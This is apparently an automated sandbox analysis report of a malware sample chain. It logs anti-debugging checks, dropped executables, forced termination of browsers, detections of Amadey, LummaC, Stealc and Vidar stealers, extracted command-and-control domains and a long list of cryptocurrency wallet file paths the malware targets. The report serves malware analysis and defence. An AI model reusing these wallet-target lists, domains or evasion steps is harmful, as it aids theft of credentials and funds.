Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsKECBFBAEBK.exe

Code function: 23_2_04BC08BD rdtsc

23_2_04BC08BD

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CDAAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CDAAC62

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0026652B mov eax, dword ptr fs:[00000030h]		25_2_0026652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0026A302 mov eax, dword ptr fs:[00000030h]		25_2_0026A302

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CDAAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CDAAC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7804, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e9987cd408.exe PID: 9184, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e9987cd408.exe PID: 5180, type: MEMORYSTR

Detected PureCrypter Trojan

Source: d7f88d1a57.exe, 0000001F.00000003.2608334832.00000000056D5000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1077147-1-9,P-X-1069756-2-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1008556-23-102,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-11,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-64,eej45377:646690,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,ed0317:378541,producttrackingalertsettings_v1cf:458226,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,i8id9958:449025,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-11-26,P-R-1052391-1-8,P-R-1039913-1-22,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-484,P-D-1138318-1-3,P-D-98331-6-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1473016-1-8,P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSyncConsent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"131.0.0.0"}]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]},"EdgeVpnAllSites":{"enableFeatures":["msEnableVpnAllSites"]},"EnhancedTextContrast":{"enableFeatures":["msEnhancedTextContrast"]},"ExternalStoreZeroSearchResults":{"enableFeatures":["msEnableZeroSearchResults"]},"PasswordZeroStateV2":{"enableFeatures

LummaC encrypted strings found

Source: d7f88d1a57.exe, 0000001C.00000003.2330145448.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: d7f88d1a57.exe, 0000001C.00000003.2330145448.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: d7f88d1a57.exe, 0000001C.00000003.2330145448.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: peepburry828.sbs
Source: d7f88d1a57.exe, 0000001C.00000003.2330145448.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p10tgrace.sbs
Source: d7f88d1a57.exe, 0000001C.00000003.2330145448.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKECBFBAEBK.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKECBFBAEBK.exe "C:\Users\user\DocumentsKECBFBAEBK.exe"
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe "C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe "C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe "C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe "C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CDF4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CDF4760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CCD1C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6CCD1C30

Source: 8cfb091e91.exe, 00000021.00000000.2489822914.0000000000732000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: d7f88d1a57.exe, 0000001C.00000002.2805317093.0000000006141000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: ,Program Manager
Source: file.exe, file.exe, 00000000.00000002.1946316159.0000000001191000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: #Program Manager
Source: firefox.exe, 00000030.00000002.2632871216.000000151797B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CDAAE71 cpuid

0_2_6CDAAE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007152001\c5c0aef5f7.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007152001\c5c0aef5f7.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CDAA8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6CDAA8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CCF8390 NSS_GetVersion,

0_2_6CCF8390

Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: d7f88d1a57.exe, 0000001F.00000002.2758881142.0000000000EE4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 23.2.DocumentsKECBFBAEBK.exe.330000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.230000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.skotes.exe.230000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000003.2089025914.00000000048A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.1943295166.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2030406942.0000000000331000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2750496081.0000000000231000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2020388250.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2060686940.0000000000231000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 8cfb091e91.exe PID: 2700, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: d7f88d1a57.exe PID: 5716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d7f88d1a57.exe PID: 6596, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000002B.00000002.2668304237.0000000000ED1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1945261732.0000000000ABE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.2671773681.000000000180B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2478552911.0000000000ED1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2437353667.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2477951066.0000000000D8E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1945734539.0000000000DC1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1452818797.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000003.2573497477.00000000056E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7804, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e9987cd408.exe PID: 9184, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e9987cd408.exe PID: 5180, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7804, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\.
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 